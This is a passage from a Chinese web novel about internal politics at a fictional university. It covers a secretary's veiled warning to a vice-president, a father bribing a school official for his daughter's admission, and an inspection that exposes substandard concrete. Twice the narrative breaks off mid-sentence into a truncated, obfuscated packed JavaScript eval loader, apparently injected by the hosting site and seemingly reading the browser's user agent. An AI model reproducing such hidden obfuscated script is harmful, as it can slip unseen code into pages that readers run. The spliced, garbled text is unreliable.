孟超摇着得胜鼓刚刚回到自己的办公室,正准备泡上一壶茶回味一下在基建处被尊崇的快意,办公室主任桂先锋的身影悄无声息地闪了进来,说是戈书记请他去一趟。 孟超对桂先锋素无好感。这几年来,他的眼里除了戈大垣外,似乎再也装不下其他校领导,敷衍和疏离几乎肉眼可辨。嫌归嫌,怨归怨。人家毕竟是“上书房行走”的角色,靠近权力中心、掌握核心信息,轻易得罪既无必要,又不值当。孟超主动从抽屉里取出一包烟塞给桂先锋,桂先锋故意在鼻子前嗅了嗅,笑嘻嘻地说了声“好烟”,算是对副校长表示了感谢。孟超趁机打听戈大垣召见自己的原因,桂先锋却像泥鳅般滑溜,脸上带着神秘的笑容说道:“你去了不就知道了”,便笑嘻嘻地转身离开,留给孟超一个捉摸不透的背影。 孟超并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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戈大垣看起来的自言自语让孟超心里更加惶惑不安。戈大垣找他来绝不会只是探讨香烟品牌和消费心理那么简单,背后一定藏着更深的目的。心中的疑团越滚越大,又不敢贸然发问,只好讪讪地附和:“戈书记您说得太对了。现在有些中层干部确实在抽烟方面比较讲究。” 在戈大垣面前,孟超的道行终究还是浅了许多。这种云山雾罩、看似闲聊却不点破主题的谈话方式,让他如坐针毡,备受煎熬,感觉每一分钟都无比漫长。终究还是按捺不住内心的焦虑,他横下一条心问道:“戈书记,您找我过来,是有什么重要的工作要吩咐吧?” 戈大垣故意抬手挠了挠后脑勺,脸上露出一丝“恍然”的表情:“哦,其实也没什么特别具体的事。” 他端起茶杯,吹了吹浮沫,喝了一口后慢悠悠地说道:“就是最近吧,大家对新校园二期工程关注度都挺高的。关注度一高吗,各种声音就少不了。你是总指挥,担子重,压力大,我是知道的。但工作嘛,该注意的还是得注意。”“该注意的还是得注意”这几个字,戈大垣说得格外缓慢,也格外清晰,仿佛每个字都有千斤重。 戈大垣的话听起来虚无缥缈,似乎没有具体内容,但落在孟超的耳中却如同惊雷炸响。额头上刚刚被空调吹干的冷汗瞬间又冒了出来,细密地布满了额头和鼻翼两侧,像无数只小蚂蚁在脸上乱爬,痒痒的,却又不敢伸手去擦。他大脑飞速运转,紧张地揣测着戈大垣的弦外之音,断定一定是副校长江川在背后又在捣鼓自己。 一股气血涌上脑袋,孟超干脆主动出击:“最近江校长对二期工程的投资匡算非常关注。可能……我们为了抢时间、赶进度,有些数据和细节上还不够精确,我正在让顾明远他们重新将二期工程分项目进行概算会审,力求再精准、科学些……。” 戈大垣的脸上掠过一丝了然的的笑意。沉吟了片刻,语气变得语重心长起来:“你能认识到这个就很好嘛。你和江校长都是学校的核心骨干,有事业心和责任感,这一点大家都是认可的。”说罢,在烟灰缸里揿灭烟头后话锋一转:“你们都还年轻嘛,格局都大一些,眼光都远一些。你更年轻嘛,在做项目投资匡算时,主动去和江校长他们沟通沟通,可以避免走弯路嘛。” 这番话,在孟超听来简直就是在赤裸裸地抬举江川。这更加深了他对“江川肯定没少在戈大垣面前编排自己”的判断。一股混合着妒火、委屈和不甘的邪火瞬间冲垮了他残存的理智,忍不住借机在戈大垣面前数落起江川在新校园建设中的各种“越界越位”的表现来。 戈大垣手指偶尔在沙发扶手上轻轻敲击一下,脸上没有任何表情,目光依旧平静无波。待孟超说完后,他才缓缓开口,语气带着一种不容置疑的权威:“我刚才说了,大家格局放大点嘛。我相信,只要都站在学校的立场去思考问题,凡事就好商量嘛。毕竟新校园在我们学校是个前无古人的大工程,又关系到学校今后事业发展,大家关注瞩目是正常的,这提醒我们要更加谨小慎微、精益求精对待每一个数据、每一个环节嘛。流程规范了,信息透明了,杂音不就少了?孟校长,你还年轻呢,还是那句话,相互补台共同发财嘛。团结出战斗力哩。” 推开戈大垣办公室那扇厚重的木门走出来时,孟超如同收到了大赦般大口呼吸着新鲜的空气。回到办公室后,在一帧一帧地回放着在戈大垣的每一句话、每一个表情、每一个细微动作后,孟超的心头感到一种难以言状的、弥漫至全身的隐痛和惊悸。香烟只是引子,算是戈大垣对他生活细节乃至背后可能存在的“不谨慎”的含蓄警告;抬举江川也只是烟雾弹,顶多算是江川编排后的一种本能反应。最终的核心应该是毫不含糊的警告和敲打,意思是你孟超在新校园建设中的所作所为尽在我戈大垣的掌握之中,你可得收敛检点,不要给我和学校带来麻烦! 夕阳余晖从窗户玻璃上反射到脸上,晃得孟超眼前一阵发黑。他下意识地拉开办公桌最下层那个带锁的抽屉——里面赫然堆满了一条一条尚未拆封的“黄鹤楼1916”。金色的包装在残阳下反射出刺眼的光芒。孟超如同被烫到一般,猛地将抽屉推了回去重新锁上,心脏砰砰狂跳:必须立刻处理掉这些“易燃品”! 一种更深重的疲惫和寒意从心底弥漫开来,瞬间席卷了他的全身。 64. 春波无痕 楚江大学新校园二期工程的全线开工,像一台巨兽终于迈开了稳步前行的步伐,这让顾明远肩上的千钧重压总算得到了缓释的机会。工程的“物理性”压力减轻了,另一座“家庭与未来”的大山又沉实地压了下来。在万素琴日益焦灼的催促声中,顾明远意识到是时候挤出时间和精力为女儿顾安然即将面临的“小升初”提供助力和支撑。 如今的应试教育已经形同是硝烟弥漫的战场。看似是知识的竞逐,实则是让一批批幼小心灵被迫卷入到未来阶层的无声预演。那些本该在阳光下追逐风筝、在草地上打滚的身影,被异化为一道道标准答案、一串串冰冷分数。童真在题海中快速褪色,灵性在重复训练中逐渐磨损。十二岁的肩膀,如今要扛起整个家庭的期望。 如今,“名校”二字,如同一枚被社会狂热追捧的金色烙印,逼迫家长们掏空积蓄疯狂下注。这早已不是单纯的学业竞争,而是一场关于家庭财力、人脉资源、情报信息的综合性暗战。在这场暗战中,比孩子更早架上这座独木桥的,其实是他们的父母。他们如同被时代洪流与集体性恐慌裹挟的扁舟,明知前方是漩涡,却不得不奋力划桨。他们心疼孩子的疲惫,却更恐惧孩子在未来掉队;他们质疑制度的扭曲,却不得不成为这扭曲机器的一颗螺丝钉。 曾几何时,秉持着知识分子清高的顾明远,在面对安安外婆的焦虑还能云淡风轻地安慰一句:“安安凭真本事吃饭,是金子总会发光。” 然而,面对日渐迫近的时间和源源不断的传闻,顾明远最终只能咽下清高,入乡随俗,开始绞尽脑汁为女儿开辟一条升入名校的“坦途”。 然而,一段时间的四处碰壁后,顾明远意识到,自己不过是象牙塔浸淫多年的一介书生,埋头史书写点文章、深入现场管理工程也许还能应对,真正需要去外面拓展关系、打开局面时,才蓦然惊觉:自己的人脉资源简直如眼下初冬枝头的残叶,稀疏得几乎可以忽略不计。两个月下来,在托关系通关节方面没有取得任何进展。好在女儿的成绩一直稳居年级前三,这让顾明远在挫折中稍微能够自我安慰。 无计可施的顾明远决定用好每一个周末陪陪女儿,学业上未必能够解难,但心理上帮助减缓压力也许勉强能够做到。这个周六,连着六天的阴雨天总算放晴。顾明远特意带着女儿安安来到校园那条著名的银杏大道散步。六百米步道的两旁,粗壮的树干撑起一片金色的穹顶,脚下落叶铺就的长毯沙沙作响,蜿蜒着伸向远方,仿佛通往一个温暖的童话世界。煦暖的阳光透过已变得稀疏的叶隙洒落下来,在父女二人身上投下斑驳跳跃的光影,构成一幅宁静而温暖的秋日油画。 出门前还蔫头耷脑的顾安然,那双被习题磨得有些暗淡的眼睛骤然被眼前的金光点亮,迫不及待地甩开了爸爸的手,像一只被突然解开绳索的小鹿欢叫着冲进那片金色的光晕里。她弯下腰抓起一把金黄的叶子奋力扬向空中,看着它们如同金色的蝴蝶般周围簌簌落下。这一刻,那个被书包和作业本禁锢了许久的、贪玩又快乐的小灵魂,似乎在这条金色大道上挣脱出来,自由自在奔跑、旋转起来。 看见女儿欢呼雀跃的样子,顾明远蹲下身子精心挑选了几枚形状完整、色泽金黄的叶子,提议和顾安然比赛玩一个“银杏题诗”的游戏,没想到立刻遭到了顾安然的拒绝:“老爸这是以己之长攻人之短,哪有这样的呀。不行,题诗肯定是你的强项,我们换一个比法。老爸,先说好哈,赢的一方是要有奖品的哦。” 顾明远欣然同意。 看着爸爸爽快地答应了自己的“不平等条约”,顾安然的大眼睛狡黠地一转,宣布了自己早有“预谋”的项目:“那我们比‘银杏叶投壶’。”说罢,从地上拾起一根木棍在空地上画了一个圆圈说道:“这就是‘壶’”,接着又一本正经地讲解起自己定下的规则:“我们站在线外,轮流把叶子往‘壶’里扔,叶子落在圈里才算。每人20片银杏叶,谁的叶子进去得多,谁就算赢。” 游戏开始。在学校已经和同学玩过这个游戏的顾安然从容不迫,背对着爸爸悄悄将叶片折成三角形状,像投掷飞镖般将叶子扔向圆圈。轻薄的“小扇子”却在空中打了个旋儿,稳稳地落进了圈内。自恃是投篮高手的顾明远以为中不过是一碟小菜,轻轻抖动手腕,叶片飘飘摇摇,全都落在了圆圈外面。 顾安然高兴得蹦了起来,嘴里喊着“老顾输罗,老顾输罗”,引得路过的学生忍不住停下脚步观看这对父女的表演。看见又学生围观,顾明远有些紧张起来,20片叶片投完,只有寥寥3枚进了圆圈,而顾安然投出的叶片蝴蝶乘着微风,优雅地盘旋后都不偏不倚地落入了圈内。 看见爸爸举手认输,顾安然二话不说,拉着爸爸来到了学校大门口的商店,要求爸爸购买自己早就看好的刚刚上市的北京奥运会吉祥物“福娃”作为奖品送给她。 看见女儿难得无忧无虑兴高采烈的样子,顾明远哪有不答应的道理? 顾安然最喜欢的就是“燕子”妮妮,正抱着她在脸颊上亲昵,顾明远的衣兜里传来《风姿花传》的铃声。他赶紧掏出手机。电话是林思齐打来的。顾明远生怕电话会遽然中断,迅速按下了接听键。 “顾老师……生日快乐呀!” 林思齐的声音温润如玉,又带着几分俏皮的轻柔。 顾安然本来已经和姑妈顾小满悄悄备好晚上的生日宴,隐隐约约听见通话信息后,小嘴一撅,不满地嘀咕道:“谁呀?好讨厌哦。” 电话那边的林思齐耳朵似乎格外灵敏,俏笑着说道:“哟,我好像听到你家小公主的声音了?不会我抢了她的首贺权吧?” 顾明远怕林思齐误会,赶紧对着手机撒了个谎。顾安然听说打电话的是林阿姨,坏笑着给爸爸做了个鬼脸。 林思齐在电话那端笑着说道:“要不,晚上我来做东,你带着你家的小公主一起改善生活,如何?” 这是顾明远求之不得的事情。顾安然拿过爸爸的手机给姑妈打去了告状的电话。没料到姑妈却喜上眉梢,答应送她一套Mp3作为交换条件。称心如意的顾安然便懒得计较,但坚持晚上的蛋糕必须用自己的压岁钱购买。 姑侄二人的对话让顾明远心中暖流汹涌。回到家里,当顾安然从自己的房间里拿出一个包装精美书册递给爸爸。顾明远打开看时,原来是喜欢画画的女儿这些天悄悄地手绘的一本《我眼中的超级爸爸》漫画书。里面用充满童真又略带夸张的画风描绘着自己“打呼噜像打雷”、“肚子是软软的枕头”、“修理玩具的魔法师”等种种“超能力”……。还未看完,泪水已经模糊了顾明远的眼眶:原来,自己日常的疲惫、琐碎的烦恼,早已被女儿用心悄悄记下,并化作了这样一份滚烫无比的爱意。 晚餐订在一家格调温馨的西餐厅。柔和的灯光,舒缓的音乐,气氛恰到好处。林思齐显然用了心,不仅给顾明远准备了礼物,而且特意为顾安然准备了一套笔端会发出七彩光芒的画笔,这是顾安然一直中意却舍不得买的礼物,一时间爱不释手,恨不得在餐巾纸上绘画。 在顾小满和顾安然面前,顾明远和林思齐似乎有些放不开,更多的是在用眼神进行悄悄的交流。顾小满看在眼里,笑在心头。趁着服务员配餐的工夫,她从包里取出一个精致的盒子递给林思齐。林思齐有些吃惊地连连摆手:“今天顾老师是寿星,可不能喧宾夺主的。” 顾明远总算找到了话题:“打开看看吧?也好验证一下顾小满同志的品味嘛。” 顾小满横了弟弟一眼:“你学学你二姐吧”,一边说着,一边打开首饰盒。一道光芒闪烁,林思齐激动地掩住了嘴:“天啊,这就是最新款的‘月光流线’胸针吧?”顾明远不懂什么叫“月光流线”,眼里只有一条圆弧和几根直线组成的几何图案。 看见林思齐难以掩饰的兴奋,顾小满得意地看了顾明远一眼:“晓得吧?思齐比你识货多了。”说罢,起身将首饰盒子往林思齐的包里放,却遭到了林思齐的拒绝:“这个也太贵重了,我不能收。要收也可以,我得照价付款。” 顾小满故意沉下脸来:“林医生这是不给面子呀。就凭前两年你帮我父亲的份上,这个礼物你必须得收下。”说着,不容分说将首饰盒塞进到林思齐的包里。看见林思齐窘得满脸通红,顾明远哈哈笑了起来:“林医生不了解我这个二姐的脾气。她送出去的东西,断没有收回的可能。我劝你呀,也别推了。搞不好顾小满同志会直接把盒子别在你的衣服上了。” 顾小满故作认真地点头。这姐弟二人一唱一和,唬得林思齐再也不敢坚持,嘴上说着“暂且寄存”,心里想着日后还情的方式。 席间,顾小满焦急地询问起侄女小升初的进展。顾明远面露尴尬不想接话,顾安然却满不在乎地说道:“你们大人真是奇怪,考试的是我,你们操什么心呀?” 顾小满伸出手指点了点顾安然的脸颊:“就你这个丫头心大。现在上学指靠成绩呀?” 看见无法绕过这个话题,顾明远伸手摸了摸女儿的脑袋,用一种故作轻松的语调笑道:“我们嘛,一没人脉,二没资源,可不是只能靠安安自己咯。” 顾安然正用林思齐送的画笔在餐巾纸上绘画,嘴里漫不经心地说道:“放心吧老爸、姑妈,你们对顾安然同学要有信心的嘛。” 林思齐被这一家人的对话逗得笑了起来,望着顾明远问道:“‘小升初’不都是就近入学的吗?” 顾明远叹了口气:“话是这样说。现在都说不能输在起跑线上。哪个家长不希望自己小孩能上一个更好的初中呢?” “安然有没有意向中的学校?” “当然是湖畔中学呀。”顾安然脱口而出。 “湖畔中学”,林思齐本能地重复了一遍这个名震武汉的中学,丹凤眼中闪过一丝亮光,放下手中的水杯,拿起手机示意顾明远走到了餐厅外面。 “还真巧了。这个湖畔中学分管招生的副校长陈梓墨前阵子在我们院做了一个手术,我就是主刀的。因为手术还算成功,他们两口子最近对我客气得很。要不……我试着引荐一下?虽然不敢打包票一定能成,但试试也不丢人的。你觉得呢?” 林思齐这轻描淡写却分量十足的提议,宛如在顾明远焦虑迷茫的心空中倏然点亮了一盏温暖而耀眼的指明灯。他万万没有想到,这顿原本只为庆祝生日的晚餐,竟让深陷“山重水复疑无路”之境的他猛地看到了“柳暗花明又一村”的光明前景。望着林思齐,顾明远不得不暗自感叹:平日里斯文淡雅的林思齐在人情世故方面,远非自己这个困守象牙塔的“书呆子”能够媲美。 在林思齐面前,顾明远毫不介意袒露自己的感激和“稚嫩”。林思齐见状,径直给陈梓墨打去了电话。电话是陈梓墨老婆接的,当即答应周六见面详谈。 顾明远没想到林思齐的一个电话就能让堂堂的湖畔中学副校长欣然答应赴约,高兴之余,紧张地向林思齐请教周六见面的“规矩”,言语间透处的紧张,如同一个即将参加大考的学生。林思齐哈哈笑了起来:“你堂堂的基建处长,在亿万工程面前都能从容应对,这不过是和一个中学副校长见面,那还不是小儿科呀?” 顾明远苦笑自嘲:“小儿科也分普通号和专家号啊。跟你林专家比,我在这方面的经验值,顶多算个刚入门的见习生。” “少拍马屁,我可不吃这套。”林思齐顿了顿,语带安慰地说道:“其实,你换个角度想,安然是货真价实的优质生,成绩摆在那里,到时候你也不必把自己摆得太低。”说罢,丹凤眼娇俏地眨了眨:“再说,我林医生的面子他还是要给的嘛。不然,哪天病情复发……。”说到这里,林思齐自己倒笑出声来。 临进屋时,顾明远特地交代“此事不要让安然知道”,林思齐回眸一笑,眼尾微挑,宛若工笔细描的凤羽倏然一展,嘴里戏谑了一句“去你的吧”,便自顾着向里面走去。 眼见着再过两天就是周六,顾明远不敢怠慢,通过顾安然的好同学朱嘉璠那位神通广大的妈妈,打听到了她疏通关节让女儿入学的价码。当朱嘉璠妈妈说出“五万”的数字时,顾明远倒吸了一口凉气:这不是自己一年的工资吗?想想女儿的成绩一直在全年级前五的位次远远超出朱嘉璠百名开外,顾明远觉得“五万”的代价确实太大,狠了狠心,去银行取了两万元现金用牛皮信封装好,又学着记忆中父亲土法子裁了一段红纸粘在牛皮信封上。看着眼前这个散发着土气与铜臭气息的信封,顾明远心头五味杂陈,既有为人父不得不屈从的悲壮与无奈,也有骨子里知识分子清高被打碎后的难言憋屈和羞辱。 周六清晨,碧空如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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聊完身体后,林思齐有意夸赞起陈梓墨的模特般的身材和穿着,陈梓墨的夫人——一位身材富态、嗓门洪亮的武汉女人得意地说道:“那是,我们家梓墨每天的穿着都是我要亲自把关的”,说罢,眼睛斜睨了顾明远一眼:“顾老师看来不太讲究啊。”说到这里,又拿眼睛扫了林思齐一眼:“不过你的打扮倒和我们小林医生非常搭配。”一句话,让顾、林二人脸上“唰”地飞起两朵红云来。 自从林思齐成功为丈夫手术后,陈夫人便自作主张地将林思齐认作了自家“妹妹”,加上武汉女人特有的麻利和爽脆,一时间她成了餐桌上的话题女王。别看她喋喋不休,但中心思想始终没有超出顾明远女儿“小升初”的范围,在渲染了一通现在想进“湖畔中学”人数之众后,她亲热地拉过林思齐的手望着丈夫说道:“梓墨,我认了思齐这个妹妹,你是知道的。妹妹的事,就是我的事。” 陈梓墨并不表态,只是频频颔首点头。林思齐趁势从坤包里拿出一个早准备好的锦缎首饰盒不容分说塞到陈夫人手中:“既然陈夫人认我这个妹妹,那妹妹的一点小心意你就别推辞了。”陈夫人倒不客气,迫不及待打开了盒子,一声夸张的惊呼立刻在包间里响起:“哎——哟——喂!这…这可是上好的黄龙玉镯子啊!这水头,这色泽。” 说完,麻利地取出一只费力地套在自己丰腴的手腕上,然后立刻举到丈夫眼前,用她那标志性的、带着浓重武汉方言的腔调娇声道:“梓墨,快看看,妹妹这眼光,真是没得说。” 看见林思齐为自己的事如此破费,顾明远大为不安,起身准备去取牛皮信封,却被林思齐用眼色制止。 林思齐似乎一点也不着急,握着陈夫人新戴镯子的手贴切地说道:“陈校长这刚动了手术,元气需要慢慢恢复,姐姐您以后在饮食方面可得严格把关的。” 这番体贴入微的关怀让陈夫人大为感动,用力拍着自己丰满的胸脯保证道:“就冲妹妹你这份心意,顾先生女儿上学的事,包在姐姐身上了。”那气势,俨然一副当家做主、一言九鼎的姿态。 顾明远闻言,心中大喜过望。巨大的兴奋如同浪潮般冲昏了他的头脑,也顾不得观察林思齐的眼色,猛地起身,以迅雷不及掩耳之势从挎包里抽出牛皮信封,不由分说地塞进陈夫人手中。 林思齐心里暗暗叫苦,想用眼神阻止已经来不及了。看见陈梓墨镜片后的眼睛里快速闪过的满意神色,林思齐在强调了一番顾安然成绩优秀后,郑重其事提出务必确保她能顺利入学的要求。 陈梓墨将金丝眼镜取下,慢条斯理地用绒布擦拭着镜片,用一种佯装出的不悦腔调说道:“顾处长这也太见外了嘛。我今天愿意来,那都是看在林医生的面子嘛。至于你女儿上学的事情”,说到这里,他有意拖长了语调:“林医生是知道的,能进湖畔的,那都是优中选优,百里挑一的嘛。” 林思齐知道陈梓墨这不过是故作姿态,故意拿眼睛看着陈夫人,陈夫人瞪了丈夫一眼,语气泼辣得很:“差不多得啦。不看僧面看佛面。妹妹托付的事情,就这么定啦。只要小丫头最后调考成绩能进区里前200名,湖畔中学的大门就肯定为她敞开。” 陈梓墨心里赞叹老婆的精明:任谁只要进入前200名,湖畔中学都要想办法招收进来。 送走满载而归的陈梓墨夫妇,林思齐看着因事情“办成”兴奋的顾明远,眉头微蹙着抱怨道:“顾老师你这出手也太快了。以安然的成绩,我看根本不需要拿出这笔钱的。” 此时已如释重负的顾明远仿佛已经拿到了女儿通往名校的金色通关文牒,带着点书生意气的酸腐和劫后余生般的轻松摇头晃脑地说道:“‘黄金散尽交不成’,古人诚不我欺也。” 林思齐又是好气又是好笑,没好气地白了他一眼。 顾明远忽然想起林思齐送出的那对玉镯,提出出钱补偿。林思齐轻松地摆了摆手,略带戏谑的口吻说道:“咳,反正我也用不上,你还当真了?” 语气轻描淡写得像是从身上掸掉了一根毫毛。 与林思齐道别后,顾明远特意将车子拐进“湖畔中学”的门前。车窗外,午后的春阳涌动着流香的光波。湖畔中学那宏伟而现代化的楼宇轮廓,在阳光下仿佛自带光圈闪闪发光,让他彷佛已经看到了女儿触手可及的光明未来,原来在心中存储的对应试教育的怀疑以及对陈梓墨夫妇的鄙夷,此刻全都丢进道东湖的粼粼碧波中,再无半丝涟漪。 65. 自查风波 随着二期工程的推进,监理公司给顾明远提交的刘芳承包的大学生活动中心项目的报告越来越沉重。这个近4000万预算的项目,在图纸上光鲜亮丽,落到实地却处处透出疑点和漏洞,看得顾明远的心沉甸甸往下坠:图纸上分明要求C30标号混凝土,现场浇筑的检测结果却清晰地指向了C25;钢筋规格虽未明降,可间距却悄然放宽,超出规范允许值近一倍;更别说那些隐蔽工程里未按图施工的管线布设存在的诸多问题……。 这些在顾明远看来,已经远非技术上的疏漏,简直是对建筑规范的刻意践踏。站在办公室窗前,顾明远眉头深锁,窗外工地的喧嚣仿佛被隔在另一个世界。吴若甫的“大小王论”又在耳边嗡嗡作响。显而易见,孟超是刘芳背后那尊“小王”,他顾明远不过是个一线执行的“小J”而已。视若无睹?良心难安。依规严查?忌惮孟超。矛盾的心情反复炙烤着自己,手上那份监理报告,现在已被他反复摩挲得成了一张张毛边纸。 毕竟自己是现任的基建处长,又兼任着新校园建设副总指挥的职务。一旦问题暴露,自己肩上的责任未必能够轻松推卸。思来想去,顾明远决定还是去向已是“著名审计专家”的钟德君求教。 钟德君别墅里正在热火朝天上演一场牌局。钟德君的心正牵挂着输赢上万的牌局,等击杀成功后,将顾明远带到了二楼的茶室。听完顾明远的一番陈述,“叭叭”给出了三条专业建议。顾明远也不端着,就手拿起茶几上的纸笔,记了下来。 钟德君急着下楼打牌,临别的时候,拍了拍顾明远的肩膀:“老顾,你记住一点,不要意气用事,不要轻率出击。孟超和刘芳的关系,你们新校园建设中的问题,远远超出你这个局中人的想象。” 夜风裹着初秋的凉意扑面而来,顾明远下意识地裹紧了风衣,仿佛这薄薄的衣料能抵挡住心底翻涌的寒流。路灯将他的影子拉得细长而单薄,斜斜地钉在冰冷的地面上。他捏着口袋里那张薄薄的纸条,指尖的触感像被微弱的电流刺着。钟德君早已不是当年那个自己在骨子里瞧不起的“吹牛大王”,他刚才切中要害的指点,确实具有十分重要的指导价值。规避风险,现在成了顾明远心头的一项重要任务。 怕什么来什么。这天,顾明远正在主持一场施工方、监理方、审计方的联席会议,学校办公室的电话打了过来,要求他中止会议,赶回老校区参加一个紧急会议。 顾明远不敢怠慢,匆匆和韦江龙交代了几句,便驱车赶回老校区。 走进会议室,顾明远便感觉到了气氛的紧张。 会议由戈大垣亲自主持。他没有半句废话,开门见山直奔主题:上级联合组即将对新校园一期、二期工程开展为期两个月的专项检查。疾言厉色提出了“确保个人不出事、确保学校零风险”两大迎检目标后,宣布由秦冰纶副校长全权负责迎检工作。 散场时,秦冰纶拦住副书记张茅诉苦:“张书记,您这运气也太好了,前天调整分工我接了您的担子,今天就要让我上刑场了。”张茅“弥勒佛”般圆润脸上挤满了笑容:“这说明党委的决定正确及时呀,秦校长在班子里最年轻,能力也强,简直就是迎检的不二人选嘛。”看见秦冰纶愁眉苦脸的样子,张茅故作神秘地笑道:“冰纶,戈书记亲自点你的将,这是对你的认可和信任呀。说实话,这次警察如果顺利过关,那你是为学校立下大功一件,说不定……”,说到这里,张茅故意停顿片刻,然后说了句“我看好你哟”,便移动着臃肿的身躯缓慢地离开。 “我看好你”这几个字从张茅嘴里甫一吐出,秦冰纶心中的不满和委屈便稀释了不少。毕竟,这还真的算得上是一次“建功立业”的机会,如果做好了,确实能够在自己的业绩簿上添上浓墨重彩的一笔。但是,万一没有做好呢? 忧虑重新泛起,让秦冰纶的眉头又锁紧了些。正往自己的办公室走去,迎面碰见了刚从洗手间回来的江川。在以“兄长”般的姿态安慰了一番后,他故意轻轻叹了口气:“说是说,我确实有些替冰纶你担心的。这次能不能平安过关,其实不是你能够决定的,这一期、二期加起来投资快十多个亿,承包人又多,出点问题太容易了。唉,不说了,不说了,冰纶你还是多点小心的好。” 秦冰纶没少从孟超那里听过关于江川的坏话,加上觉得江川城府很深心眼太多,更不愿意在他面前露怯和露馅,便说了些感谢的话后,回到了自己的办公室。 屁股还没落座,心里没底的她沉不住气,轻手轻脚来到了孟超的办公室。 孟超正靠在椅背上出神。直到秦冰纶用手在他面前晃了两下后才清醒过来:“你来得正好,我正想找你聊聊呢。” “找我干什么?不就是检查的事嘛。”秦冰纶没好气地接了一句,唉声叹气又抱怨了一回。 孟超起身专门为她冲了一杯咖啡,脸上基础勉强的笑容:“怕什么,兵来将挡嘛。冰纶,反正咱俩现在是一根绳上的蚂蚱。不是还有我呢嘛。” 秦冰纶虽然对这个比喻不太满意,但觉得孟超说得也不是没有道理:如果这些承包商出现了问题,自己这个分管招标的校领导肯定是脱不了干系。尤其想到刘芳招标的大学生活动中心这个项目,秦冰纶心里更是没了底气。 本来一直告诫自己要和孟超保持距离,这下也顾不了许多。秦冰纶忍不住将江川的提醒透露了些。 孟超眼中寒光一闪,嘴里带着恨意说道:“他娘的,把老子逼急了,小心我也将火烧到他的身上,我就不相信他的屁股都是干净的。” 秦冰纶心底未尝不乐见江、孟两人“鹤蚌相争”。转念一想,若任孟超使出过激手段,搅乱了眼下的迎检大局,反倒得不偿失。她迅速敛起那点暗涌的心思,面上堆起惯有的温煦笑意,帮着江川打起了圆场,又语带关切地提醒道:“检查组没几天就要进校了,要不咱们抓紧把一期、二期工程都自查一遍?该补的补,该修的修,免得落人话柄,到时候大家都难做。” 孟超觉得秦冰纶讲得有些道理。让他踌躇的是:谁来牵头自查呢?自己亲自负责,容易招人怀疑;放手顾明远去查,又怕他不知轻重查得百孔千疮。正在纠结间,戈大垣打来电话,直接要他安排顾明远牵头对一期、二期工程开展自查。 没有退路的孟超只好紧急召见顾明远、韦江龙,在强调了自查纪律后,又将韦江龙单独留了下来,专门就如何牵制顾明远作了一番交代。 对孟超将自查任务交到自己手上,顾明远心里总有些七上八下。犹豫再三,他还是敲开了校长周濂的门。 周濂知道这次检查是有备而来,风险不小。自己明年就要退休,他当然希望检查能够平安顺利,不出乱子。顾明远讲明来意后,周濂对孟超的用意和顾明远的为难看得分明。沉吟片刻后说道:“明远做事认真指着,我一直很欣赏的。不过这次自查,一定要注意方式方法的,既要找出问题,也要把握分寸。有所为有所不为嘛。” 从周濂办公室出来,顾明远心里的疙瘩并没完全解开。晚上,借着看望吴若甫的机会,他忍不住说出了自己的顾虑。吴若甫淡然一笑:“周校长已经说得很清楚了嘛。睁一只眼闭一只眼就好了。” 顾明远心底并不认同这种和稀泥的做法。若是依他以往的性子,非得把每个角落都翻个底朝天不可。但周校长和吴若甫的指点异曲同工,确实都在为他考虑。若真查个水落石出,不仅会彻底得罪孟超,自己这个基建处长的脸面也未见得光彩。 经过一整夜的辗转反侧,第二天上班后,顾明远做出了一个让所有人意外的决定——将现场勘查的指挥权交给副处长韦江龙。 消息传到孟超耳中,他嘴角浮起一丝不易察觉的笑意,当即把韦江龙叫到办公室,亲自给他面授机宜、鼓劲打气。韦江龙嘴上连声应着“一定不辜负领导信任”,心里却叫苦不迭。他带着队伍上车时,脚步沉重得像是要去刑场。顾明远站在办公室窗前,目送车队远去,心里五味杂陈——既为自己的“精明”感到一丝羞愧,又为这份“成熟”暗自得意。 谁都以为这不过是一场心照不宣的走过场。谁知在检查刘芳承包的大学生活动中心时,意外发生了。 监理公司那个刚从名校毕业的年轻工程师,全然不懂官场规矩,仗着满腹经纶,根本不把韦江龙的暗示放在眼里,还口口声声将“监理的职责就是确保工程质量”“如果确实存在问题,我没办法在验收报告上签字”这些行话挂在嘴边。 短短两个小时,他就带着随行人员在建筑材料和施工流程上挑出十几个硬伤。韦江龙一边打着哈哈,一边暗自叫好——他早就对活动中心施工中的问题了如指掌,只是碍于孟超的面子一直装聋作哑。如今有人替他捅破这层窗户纸,觉得正好杀杀刘芳目中无人的嚣张气焰。 闻讯赶来的刘芳一把将韦江龙拽到角落,压着嗓子怒斥:“韦江龙,你什么意思?故意让我难堪是不是?” 韦江龙双手一摊,满脸无辜:“刘总,这可是正经八百的科班生,认死理的主儿。我说话要管用,还能让他这么胡来?”这话半真半假,控制不住那个科班生是事实,但内心也还是乐见其成。 然而,当自查队在混凝土浇筑现场发现更多问题时,韦江龙开始有些着了慌:混凝土质量问题非同小可,一旦坐实,那可是要推倒重来的。他不敢怠慢,急忙拨通顾明远的电话。 听完报告后,顾明远意识到事态严重,情急中将顾虑抛在脑后,下令暂停浇筑并要求现场取芯检测。 取芯钻机的轰鸣声撕裂了工地的喧嚣。金刚石钻头高速旋转,狠狠刺入混凝土柱体,灰白色的粉末混合着泥水四处飞溅。刘芳站在不远处,眼睁睁看着钻头一寸寸深入,仿佛钻在她的心上。这一刻,她再也顾不上体面,转身冲向办公室,抓起电话拨给孟超,声嘶力竭地嚷道:“你赶快过来吧。如果真的这样干下去,停工都是轻的,事情闹大了,你我都没好果子吃。” 刘芳的话像一记闷棍,让孟超心头猛地一沉。他二话不说,拽上顾明远就直奔现场。指挥部会议室里,空气凝重得几乎能拧出水来。孟超铁青着脸,每一个字都像是从牙缝里挤出来的:“你们真是无法无天了!谁给你们的权力擅自叫停施工?!”他凌厉的目光先在顾明远身上剜过,最后死死钉在韦江龙脸上。 